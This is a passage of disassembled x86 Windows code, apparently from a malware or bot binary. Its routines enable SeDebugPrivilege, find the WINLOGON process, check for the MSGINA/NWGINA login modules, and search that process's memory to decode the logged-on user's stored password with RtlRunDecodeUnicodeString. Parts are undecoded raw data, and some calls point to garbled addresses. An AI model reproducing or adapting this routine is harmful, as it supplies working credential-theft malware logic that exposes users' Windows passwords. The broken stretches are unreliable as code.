		push	edi
		lea	eax, [ebp+var_98]
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		pop	ebx
		jmp	short loc_416EE9
; ---------------------------------------------------------------------------


loc_416EB7:				; CODE XREF: sub_416DD9+2Cj
					; sub_416DD9+3Bj ...
		mov	esi, offset aFailed ; "failed"
		lea	eax, [ebp+var_198]
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_118]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		lea	eax, [ebp+var_98]
		pop	ecx
		push	esi
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_416EE9:				; CODE XREF: sub_416DD9+DCj
		mov	eax, [ebp+arg_0]
		push	60h
		pop	ecx
		lea	esi, [ebp+var_198]
		mov	edi, eax
		rep movsd
		pop	edi
		pop	esi
		leave
		retn
sub_416DD9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416EFD	proc near		; CODE XREF: sub_416FCF+17p
					; sub_416FCF+60p

var_500		= byte ptr -500h
var_300		= byte ptr -300h
var_180		= byte ptr -180h
var_100		= byte ptr -100h
var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 500h
		push	ebx
		mov	ebx, [ebp+arg_C]
		push	esi
		push	edi
		lea	eax, [ebp+var_300]
		push	ebx
		push	eax
		call	sub_416DD9
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_300]
		rep movsd
		push	60h
		lea	esi, [ebp+var_300]
		pop	ecx
		lea	edi, [ebp+var_180]
		lea	eax, [ebp+var_80]
		push	offset aFailed	; "failed"
		rep movsd
		push	eax
		call	sub_41CA50
		add	esp, 10h
		test	eax, eax
		jnz	short loc_416F70
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383FC
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 14h
		jmp	short loc_416FA4
; ---------------------------------------------------------------------------


loc_416F70:				; CODE XREF: sub_416EFD+4Dj
		lea	eax, [ebp+var_180]
		push	eax
		lea	eax, [ebp+var_100]
		push	eax
		lea	eax, [ebp+var_80]
		push	eax
		push	ebx
		push	ebx
		call	sub_416D48
		pop	ecx
		push	eax
		push	offset unk_4383C0
		lea	eax, [ebp+var_500]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 20h


loc_416FA4:				; CODE XREF: sub_416EFD+71j
		push	1
		lea	eax, [ebp+var_500]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_500]
		push	eax
		call	sub_415D38
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_416EFD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416FCF	proc near		; CODE XREF: sub_401ACD+252Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_C], ebx
		jz	short loc_416FF0
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h
		jmp	short loc_417051
; ---------------------------------------------------------------------------


loc_416FF0:				; CODE XREF: sub_416FCF+9j
		push	esi
		push	edi
		push	ebx
		push	ebx
		call	dword_4CB93C
		lea	esi, [eax+2]
		push	esi
		call	sub_41BEB5
		pop	ecx
		mov	edi, eax
		push	edi
		push	esi
		call	dword_4CB93C
		cmp	[edi], bl
		mov	esi, edi
		jz	short loc_417048


loc_417014:				; CODE XREF: sub_416FCF+77j
		push	offset off_438438
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417037
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_416EFD
		add	esp, 10h


loc_417037:				; CODE XREF: sub_416FCF+54j
		push	esi
		call	sub_41B9C0
		cmp	[esi+eax+1], bl
		lea	esi, [esi+eax+1]
		pop	ecx
		jnz	short loc_417014


loc_417048:				; CODE XREF: sub_416FCF+43j
		push	edi
		call	sub_41BA91
		pop	ecx
		pop	edi
		pop	esi


loc_417051:				; CODE XREF: sub_416FCF+1Fj
		pop	ebx
		pop	ebp
		retn
sub_416FCF	endp

; ---------------------------------------------------------------------------
dword_417054	dd 81EC8B55h, 49CECh, 8458B00h,	0B9575653h, 0A7h, 0BD8DF08Bh
					; DATA XREF: sub_401ACD+67C1o
		dd 0FFFFFD64h, 80C7A5F3h, 298h,	1, 0FEEC858Dh, 0E850FFFFh
		dd 4938h, 0BC80DB33h, 0FFFEEB05h, 75595CFFh, 0EC858D14h
		dd 50FFFFFEh, 491FE8h, 9C885900h, 0FFFEEB05h, 0E8858DFFh
		dd 50FFFFFDh, 43845C68h, 64858D00h, 68FFFFFBh, 200h, 529AE850h
		dd 0C4830000h, 0F85D3910h, 8D532075h, 0FFFB6485h, 0F475FFFFh
		dd 68858D50h, 50FFFFFDh, 0FD64B5FFh, 7EE8FFFFh,	83FFFF27h
		dd 858D14C4h, 0FFFFFEECh, 858D5053h, 0FFFFFDE8h, 68858D50h
		dd 0FFFFFFFDh, 0FF50F475h, 0FFFD64B5h, 5DE8FFh,	0C4830000h
		dd 858D5018h, 0FFFFFB64h, 43843C68h, 3FE85000h,	83000051h
		dd 5D390CC4h, 532075F8h, 0FB64858Dh, 75FFFFFFh,	858D50F4h
		dd 0FFFFFD68h, 64B5FF50h, 0E8FFFFFDh, 0FFFF271Dh, 8D14C483h
		dd 0FFFB6485h, 0DDE850FFh, 0FFFFFFEBh, 73E8F075h, 59FFFF45h
		dd 0E8905359h, 22F8E94h, 555B5E5Fh, 0EC81EC8Bh,	54Ch, 0BE575653h
		dd 104h, 8D1875FFh, 0FFFDB885h,	84A068FFh, 50560043h, 51CBE8h
		dd 243D8B00h, 83004271h, 858D10C4h, 0FFFFFEBCh,	0B8858D50h
		dd 50FFFFFDh, 0F883D7FFh, 0FC4589FFh, 429AC0BBh, 0F6717400h
		dd 0FFFEBC85h, 547410FFh, 0FEE8BD80h, 752EFFFFh, 0E9BD8012h
		dd 0FFFFFEh, 0BD804274h, 0FFFFFEE9h, 8D39742Eh,	0FFFEE885h
		dd 858D50FFh, 0FFFFFCB4h, 531875FFh, 69E85056h,	0FF000051h
		dd 858D1C75h, 0FFFFFCB4h, 1475FF50h, 0FF1075FFh, 75FF0C75h
		dd 0FF5DE808h, 0C483FFFFh, 1C45892Ch, 0FEBC858Dh, 0FF50FFFFh
		dd 0D9E8FC75h, 9002388Dh, 8F75C085h, 90FC75FFh,	1D8DCBE8h
		dd 1475FF02h, 0FDB8858Dh, 75FFFFFFh, 50565318h,	5117E8h
		dd 14C48300h, 0FEBC858Dh, 8D50FFFFh, 0FFFDB885h, 0D7FF50FFh
		dd 0FE83F08Bh, 8D4F74FFh, 0FFFEE885h, 1C45FFFFh, 0B4858D50h
		dd 0FFFFFFFAh, 84681875h, 68004384h, 200h, 50DAE850h, 16A0000h
		dd 0FAB4858Dh, 75FFFFFFh, 75FF5010h, 875FF0Ch, 0FF25CCE8h
		dd 28C483FFh, 0FEBC858Dh, 5650FFFFh, 8D52E890h,	0C0850238h
		dd 9056B175h, 1D8D47E8h, 1C458B02h, 0C95B5E5Fh
; ---------------------------------------------------------------------------
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4172C1	proc near		; DATA XREF: sub_401ACD+1C72o

var_29C		= byte ptr -29Ch
var_9C		= dword	ptr -9Ch
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 29Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	25h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_9C]
		push	1
		rep movsd
		pop	esi
		mov	[eax+90h], esi
		call	sub_41AE41
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	short loc_417300
		cmp	eax, 2
		jz	short loc_417300
		push	offset unk_438678
		jmp	loc_41743F
; ---------------------------------------------------------------------------


loc_417300:				; CODE XREF: sub_4172C1+2Ej
					; sub_4172C1+33j
		push	esi
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41743A
		push	ebx
		push	offset aNtdll_dll ; "NTDLL.DLL"
		call	near ptr 26E0000h
		nop
		mov	esi, dword_4270C4
		mov	edi, eax
		push	offset aNtquerysystemi ; "NtQuerySystemInformation"
		push	edi
		mov	[ebp+var_8], edi
		call	esi
		push	offset aRtlcreatequery ; "RtlCreateQueryDebugBuffer"
		push	edi
		mov	dword_4D483C, eax
		call	esi
		push	offset aRtlqueryproces ; "RtlQueryProcessDebugInformation"
		push	edi
		mov	dword_4D4830, eax
		call	esi
		push	offset aRtldestroyquer ; "RtlDestroyQueryDebugBuffer"
		push	edi
		mov	dword_4D4A40, eax
		call	esi
		push	offset aRtlrundecodeun ; "RtlRunDecodeUnicodeString"
		push	edi
		mov	dword_4D4838, eax
		call	esi
		mov	dword_4D4834, eax
		call	sub_417493
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_41740D
		mov	esi, dword_427148
		mov	edi, 400h
		mov	ebx, offset dword_4D3830
		push	edi
		push	ebx
		push	offset off_4385B4
		call	esi
		push	edi
		mov	edi, offset dword_4D4030
		push	edi
		push	offset off_43859C
		call	esi
		cmp	[ebp+var_4], 1
		push	offset dword_4D4A48
		push	[ebp+arg_0]
		jnz	short loc_4173B9
		call	sub_41761C
		jmp	short loc_4173BE
; ---------------------------------------------------------------------------


loc_4173B9:				; CODE XREF: sub_4172C1+EFj
		call	sub_4177C3


loc_4173BE:				; CODE XREF: sub_4172C1+F6j
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417406
		cmp	dword_4D4A48, 0
		jnz	short loc_4173ED
		push	ebx
		push	edi
		push	[ebp+arg_0]
		lea	eax, [ebp+var_29C]
		push	offset unk_438540
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 18h
		jmp	short loc_417420
; ---------------------------------------------------------------------------


loc_4173ED:				; CODE XREF: sub_4172C1+10Aj
		cmp	[ebp+var_4], 1
		push	[ebp+arg_0]
		jnz	short loc_4173FD
		call	sub_4178F9
		jmp	short loc_417402
; ---------------------------------------------------------------------------


loc_4173FD:				; CODE XREF: sub_4172C1+133j
		call	sub_417990


loc_417402:				; CODE XREF: sub_4172C1+13Aj
		pop	ecx
		push	eax
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_417406:				; CODE XREF: sub_4172C1+101j
		push	offset unk_438508
		jmp	short loc_417412
; ---------------------------------------------------------------------------


loc_41740D:				; CODE XREF: sub_4172C1+B6j
		push	offset unk_4384DC


loc_417412:				; CODE XREF: sub_4172C1+143j
					; sub_4172C1+14Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_417420:				; CODE XREF: sub_4172C1+12Aj
		push	0
		push	offset aSedebugprivile ; "SeDebugPrivilege"
		call	sub_419B9E
		pop	ecx
		pop	ecx
		push	[ebp+var_8]
		call	near ptr 27E0813h
		nop
		pop	ebx
		jmp	short loc_41744D
; ---------------------------------------------------------------------------


loc_41743A:				; CODE XREF: sub_4172C1+4Ej
		push	offset unk_4384A8


loc_41743F:				; CODE XREF: sub_4172C1+3Aj
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41744D:				; CODE XREF: sub_4172C1+177j
		xor	esi, esi
		cmp	[ebp+var_10], esi
		jnz	short loc_417474
		push	esi
		lea	eax, [ebp+var_29C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_98]
		push	eax
		push	[ebp+var_9C]
		call	sub_409869
		add	esp, 14h


loc_417474:				; CODE XREF: sub_4172C1+191j
		lea	eax, [ebp+var_29C]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		nop
		call	near ptr 2710000h
		pop	edi
		pop	esi
sub_4172C1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_417493	proc near		; CODE XREF: sub_4172C1+ACp

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 18h
		and	[esp+18h+var_4], 0
		and	[esp+18h+var_14], 0
		push	ebx
		push	ebp
		push	esi
		mov	esi, dword_427154
		mov	ebx, 100h
		push	edi
		push	ebx
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		mov	ebp, eax
		lea	eax, [esp+28h+var_14]
		push	eax
		push	ebx
		push	ebp
		push	10h
		call	dword_4D483C
		push	ebp
		push	0
		call	esi
		push	eax
		call	near ptr 27F0614h
		nop
		push	[esp+28h+var_14]
		push	8
		call	esi
		push	eax
		call	edi
		mov	ebp, eax
		mov	eax, [esp+28h+var_14]
		lea	ecx, [esp+28h+var_C]
		mov	[esp+28h+var_C], eax
		push	ecx
		push	eax
		push	ebp
		push	10h
		call	dword_4D483C
		test	eax, eax
		jnz	short loc_417580
		mov	eax, [esp+28h+var_C]
		shr	eax, 4
		mov	[esp+28h+var_10], eax
		jz	short loc_417580
		push	1
		mov	ebx, ebp
		pop	ecx
		cmp	eax, ecx
		mov	[esp+28h+var_18], ecx
		jb	short loc_417580


loc_41751C:				; CODE XREF: sub_417493+EBj
		cmp	word ptr [ebx+8], 5
		jnz	short loc_417573
		push	0
		push	0
		call	dword_4D4830
		mov	edi, eax
		push	edi
		push	1
		push	dword ptr [ebx+4]
		call	dword_4D4A40
		test	eax, eax
		jnz	short loc_417564
		mov	eax, [edi+60h]
		push	offset aWinlogon ; "WINLOGON"
		mov	[esp+2Ch+var_8], eax
		lea	eax, [edi+80h]
		push	eax
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417598


loc_417564:				; CODE XREF: sub_417493+AAj
		test	edi, edi
		jz	short loc_41756F
		push	edi
		call	dword_4D4838


loc_41756F:				; CODE XREF: sub_417493+D3j
		mov	eax, [esp+28h+var_10]


loc_417573:				; CODE XREF: sub_417493+8Ej
		add	ebx, 10h
		inc	[esp+28h+var_18]
		cmp	[esp+28h+var_18], eax
		jbe	short loc_41751C


loc_417580:				; CODE XREF: sub_417493+6Dj
					; sub_417493+7Aj ...
		xor	edi, edi


loc_417582:				; CODE XREF: sub_417493+17Dj
		push	ebp
		push	0
		call	esi
		push	eax
		nop
		call	near ptr 27F0614h
		mov	eax, edi


loc_417590:				; CODE XREF: sub_417493+184j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 18h
		retn
; ---------------------------------------------------------------------------


loc_417598:				; CODE XREF: sub_417493+CFj
		and	[esp+28h+var_10], 0
		cmp	[esp+28h+var_8], 0
		jbe	short loc_417601
		lea	eax, [edi+80h]
		mov	[esp+28h+var_18], eax


loc_4175AE:				; CODE XREF: sub_417493+16Cj
		add	[esp+28h+var_18], 11Ch
		push	offset aNwgina	; "NWGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417615
		push	offset aMsgina	; "MSGINA"
		push	[esp+2Ch+var_18]
		call	sub_41DE4A
		pop	ecx
		push	eax
		call	sub_41C2E0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4175F3
		mov	eax, [ebx+4]
		mov	[esp+28h+var_4], eax


loc_4175F3:				; CODE XREF: sub_417493+157j
		inc	[esp+28h+var_10]
		mov	eax, [esp+28h+var_10]
		cmp	eax, [esp+28h+var_8]
		jb	short loc_4175AE


loc_417601:				; CODE XREF: sub_417493+10Fj
		test	edi, edi
		jz	short loc_41760C
		push	edi
		call	dword_4D4838


loc_41760C:				; CODE XREF: sub_417493+170j
		mov	edi, [esp+28h+var_4]
		jmp	loc_417582
; ---------------------------------------------------------------------------


loc_417615:				; CODE XREF: sub_417493+13Cj
		xor	eax, eax
		jmp	loc_417590
sub_417493	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41761C	proc near		; CODE XREF: sub_4172C1+F1p

var_64		= byte ptr -64h
var_60		= dword	ptr -60h
var_40		= byte ptr -40h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2B		= byte ptr -2Bh
var_24		= byte ptr -24h
var_14		= byte ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 64h
		push	esi
		xor	esi, esi
		push	[ebp+arg_0]
		mov	[ebp+var_10], esi
		push	esi
		push	410h
		nop
		call	near ptr 26B0000h
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jnz	short loc_417645
		xor	eax, eax
		jmp	loc_4177C0
; ---------------------------------------------------------------------------


loc_417645:				; CODE XREF: sub_41761C+20j
		mov	eax, [ebp+arg_4]
		push	ebx
		push	edi
		mov	[eax], esi
		lea	eax, [ebp+var_64]
		push	eax
		nop
		call	near ptr 2810236h
		push	[ebp+var_60]
		mov	[ebp+var_8], esi
		mov	esi, dword_427154
		push	8
		call	esi
		mov	edi, dword_427150
		push	eax
		call	edi
		lea	ecx, [ebp+var_8]
		mov	ebx, dword_42715C
		push	ecx
		mov	[ebp+arg_0], eax
		push	[ebp+var_60]
		push	eax
		push	7FFDF000h
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jnz	short loc_417695
		xor	esi, esi
		jmp	loc_4177B3
; ---------------------------------------------------------------------------


loc_417695:				; CODE XREF: sub_41761C+70j
		lea	eax, [ebp+var_40]
		push	1Ch
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		nop
		call	near ptr 2800B91h
		test	eax, eax
		jz	loc_4177A2
		mov	ecx, [ebp+var_30]
		mov	eax, 1000h
		and	ecx, eax
		cmp	ecx, eax
		jnz	loc_4177A2
		test	[ebp+var_2B], 1
		jnz	loc_4177A2
		push	[ebp+var_34]
		push	8
		call	esi
		push	eax
		call	edi
		mov	edi, eax
		lea	eax, [ebp+var_8]
		push	eax
		mov	eax, [ebp+arg_0]
		push	[ebp+var_34]
		mov	[ebp+var_C], edi
		push	edi
		push	dword ptr [eax+18h]
		push	[ebp+var_4]
		call	ebx
		test	eax, eax
		jz	loc_4177A2


loc_4176F8:				; CODE XREF: sub_41761C+112j
		push	edi
		push	offset dword_4D3830
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417720
		lea	eax, [edi+200h]
		push	eax
		push	offset dword_4D4030
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417730


loc_417720:				; CODE XREF: sub_41761C+EBj
		mov	eax, [ebp+var_34]
		mov	ecx, [ebp+var_C]
		inc	edi
		add	eax, ecx
		inc	edi
		cmp	edi, eax
		jnb	short loc_4177A2
		jmp	short loc_4176F8
; ---------------------------------------------------------------------------


loc_417730:				; CODE XREF: sub_41761C+102j
		test	edi, edi
		jz	short loc_4177A2
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [edi+410h]
		push	eax
		nop
		call	near ptr 2790872h
		test	eax, eax
		jz	short loc_41776B
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		call	near ptr 2790328h
		nop
		test	eax, eax
		jz	short loc_41776B
		mov	al, [edi+42Ch]
		mov	ecx, [ebp+arg_4]
		shr	eax, 1
		and	eax, 7Fh
		mov	[ecx], eax


loc_41776B:				; CODE XREF: sub_41761C+12Bj
					; sub_41761C+13Dj
		movzx	eax, word ptr [edi+42Ch]
		shr	eax, 8
		mov	dword_4D4A54, eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_10], 1
		mov	eax, [eax+18h]
		sub	eax, [ebp+var_C]
		lea	eax, [eax+edi+434h]
		add	edi, 434h
		mov	dword_4D4A4C, eax
		mov	dword_4D4A50, edi


loc_4177A2:				; CODE XREF: sub_41761C+90j
					; sub_41761C+A2j ...
		push	[ebp+arg_0]
		push	0
		call	esi
		push	eax
		call	near ptr 27F0614h
		nop
		mov	esi, [ebp+var_10]


loc_4177B3:				; CODE XREF: sub_41761C+74j
		push	[ebp+var_4]
		nop
		call	near ptr 26808BBh
		pop	edi
		mov	eax, esi
		pop	ebx


loc_4177C0:				; CODE XREF: sub_41761C+24j
		pop	esi
		leave
		retn
sub_41761C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4177C3	proc near		; CODE XREF: sub_4172C1:loc_4173B9p

var_4C		= byte ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_28		= byte ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_13		= byte ptr -13h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		push	0
		push	410h
		call	near ptr 26B0000h
		nop
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	loc_4178B5
		mov	eax, [ebp+arg_4]
		and	dword ptr [eax], 0
		lea	eax, [ebp+var_4C]
		push	eax
		call	near ptr 2810236h
		nop
		mov	ebx, [ebp+var_44]
		mov	eax, [ebp+var_40]
		cmp	ebx, eax
		mov	[ebp+var_C], eax
		jnb	loc_4178AC
		mov	edi, dword_427154


loc_41780E:				; CODE XREF: sub_4177C3+E3j
		lea	eax, [ebp+var_28]
		push	1Ch
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 2800B91h
		nop
		test	eax, eax
		jz	short loc_41789A
		mov	edx, [ebp+var_18]
		mov	ecx, [ebp+var_1C]
		mov	eax, 1000h
		mov	[ebp+var_4], ecx
		and	edx, eax
		cmp	edx, eax
		jnz	short loc_4178A0
		test	[ebp+var_13], 1
		jnz	short loc_4178A0
		push	ecx
		push	8
		call	edi
		push	eax
		nop
		call	near ptr 2800000h
		mov	esi, eax
		lea	eax, [ebp+var_8]
		push	eax
		and	[ebp+var_8], 0
		push	[ebp+var_1C]
		push	esi
		push	ebx
		push	[ebp+arg_0]
		call	near ptr 2810000h
		nop
		test	eax, eax
		jz	short loc_41788C
		push	offset dword_4D3830
		push	esi
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41788C
		lea	eax, [esi+400h]
		push	offset dword_4D4030
		push	eax
		call	sub_4263E5
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_4178BC


loc_41788C:				; CODE XREF: sub_4177C3+9Fj
					; sub_4177C3+B0j
		push	esi
		push	0
		call	edi
		push	eax
		call	near ptr 27F0614h
		nop
		jmp	short loc_4178A0
; ---------------------------------------------------------------------------


loc_41789A:				; CODE XREF: sub_4177C3+5Dj
		mov	eax, [ebp+var_48]
		mov	[ebp+var_4], eax


loc_4178A0:				; CODE XREF: sub_4177C3+71j
					; sub_4177C3+77j ...
		add	ebx, [ebp+var_4]
		cmp	ebx, [ebp+var_C]
		jb	loc_41780E


loc_4178AC:				; CODE XREF: sub_4177C3+3Fj
		push	[ebp+arg_0]
		call	near ptr 26808BBh
		nop


loc_4178B5:				; CODE XREF: sub_4177C3+1Ej
		xor	eax, eax


loc_4178B7:				; CODE XREF: sub_4177C3+134j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_4178BC:				; CODE XREF: sub_4177C3+C7j
		add	ebx, 800h
		lea	eax, [esi+800h]
		xor	ecx, ecx
		mov	dword_4D4A4C, ebx
		mov	dword_4D4A50, eax
		cmp	[eax], cl
		jnz	short loc_4178DE
		cmp	[eax+1], cl
		jz	short loc_4178E6


loc_4178DE:				; CODE XREF: sub_4177C3+114j
					; sub_4177C3+121j
		inc	ecx
		inc	eax
		inc	eax
		cmp	byte ptr [eax],	0
		jnz	short loc_4178DE


loc_4178E6:				; CODE XREF: sub_4177C3+119j
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_0]
		mov	[eax], ecx
		nop
		call	near ptr 26808BBh
		push	1
		pop	eax
		jmp	short loc_4178B7
sub_4177C3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178F9	proc near		; CODE XREF: sub_4172C1+135p

var_8		= word ptr -8
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, dword_4D4A48
		push	esi
		mov	esi, dword_427154
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_6], ax
		mov	[ebp+var_8], cx
		movzx	eax, ax
		push	eax
		push	8
		call	esi
		push	eax
		nop
		call	near ptr 2800000h
		mov	ecx, dword_4D4A48
		mov	[ebp+var_4], eax
		add	ecx, ecx
		push	ecx
		push	dword_4D4A50
		push	eax
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_8]
		push	eax
		mov	al, byte ptr dword_4D4A54
		push	eax
		call	dword_4D4834
		push	[ebp+var_4]
		mov	edi, offset dword_4D4840
		push	offset dword_4D3830
		push	offset dword_4D4030
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	200h
		push	edi
		call	sub_41C360
		add	esp, 1Ch
		push	[ebp+var_4]
		push	0
		call	esi
		push	eax
		call	near ptr 27F0614h
		nop
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_4178F9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417990	proc near		; CODE XREF: sub_4172C1:loc_4173FDp

var_18		= word ptr -18h
var_16		= word ptr -16h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, dword_4D4A48
		push	ebx
		push	esi
		push	edi
		lea	ecx, [eax+eax]
		lea	eax, [eax+eax+2]
		mov	[ebp+var_16], ax
		mov	[ebp+var_18], cx
		movzx	eax, ax
		push	eax
		push	8
		nop
		call	near ptr 2800B0Ah
		push	eax
		nop
		call	near ptr 2800000h
		and	[ebp+var_C], 0
		mov	[ebp+var_14], eax
		mov	ebx, offset dword_4D4030
		mov	edi, 200h
		mov	esi, offset dword_4D3630


loc_4179D6:				; CODE XREF: sub_417990+FAj
		mov	eax, dword_4D4A48
		add	eax, eax
		push	eax
		push	dword_4D4A50
		push	[ebp+var_14]
		call	sub_41CD20
		add	esp, 0Ch
		lea	eax, [ebp+var_18]
		push	eax
		push	[ebp+var_C]
		call	dword_4D4834
		mov	eax, dword_4D4A48
		and	[ebp+var_10], 0
		mov	ecx, [ebp+var_14]
		mov	[ebp+var_8], 1
		test	eax, eax
		jbe	short loc_417A4B


loc_417A13:				; CODE XREF: sub_417990+B3j
		cmp	[ebp+var_8], 0
		jz	short loc_417A68
		mov	dl, [ecx]
		test	dl, dl
		mov	[ebp+var_1], dl
		jz	short loc_417A37
		cmp	byte ptr [ecx+1], 0
		jnz	short loc_417A37
		cmp	dl, 20h
		jnb	short loc_417A31
		and	[ebp+var_8], 0


loc_417A31:				; CODE XREF: sub_417990+9Bj
		cmp	[ebp+var_1], 7Eh
		jbe	short loc_417A3B


loc_417A37:				; CODE XREF: sub_417990+90j
					; sub_417990+96j
		and	[ebp+var_8], 0


loc_417A3B:				; CODE XREF: sub_417990+A5j
		inc	ecx
		inc	ecx
		inc	[ebp+var_10]
		cmp	[ebp+var_10], eax
		jb	short loc_417A13
		cmp	[ebp+var_8], 0
		jz	short loc_417A68


loc_417A4B:				; CODE XREF: sub_417990+81j
		push	[ebp+var_14]
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_4386C4
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 1Ch
		jmp	short loc_417A80
; ---------------------------------------------------------------------------


loc_417A68:				; CODE XREF: sub_417990+87j
					; sub_417990+B9j
		push	offset dword_4D3830
		push	ebx
		push	[ebp+arg_0]
		push	offset dword_438714
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 18h


loc_417A80:				; CODE XREF: sub_417990+D6j
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 0FFh
		jbe	loc_4179D6
		push	[ebp+var_14]
		push	0
		nop
		call	near ptr 2800B0Ah
		push	eax
		call	near ptr 27F0614h
		nop
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417990	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417AA9	proc near		; CODE XREF: sub_417C61+2Fp

var_10		= word ptr -10h
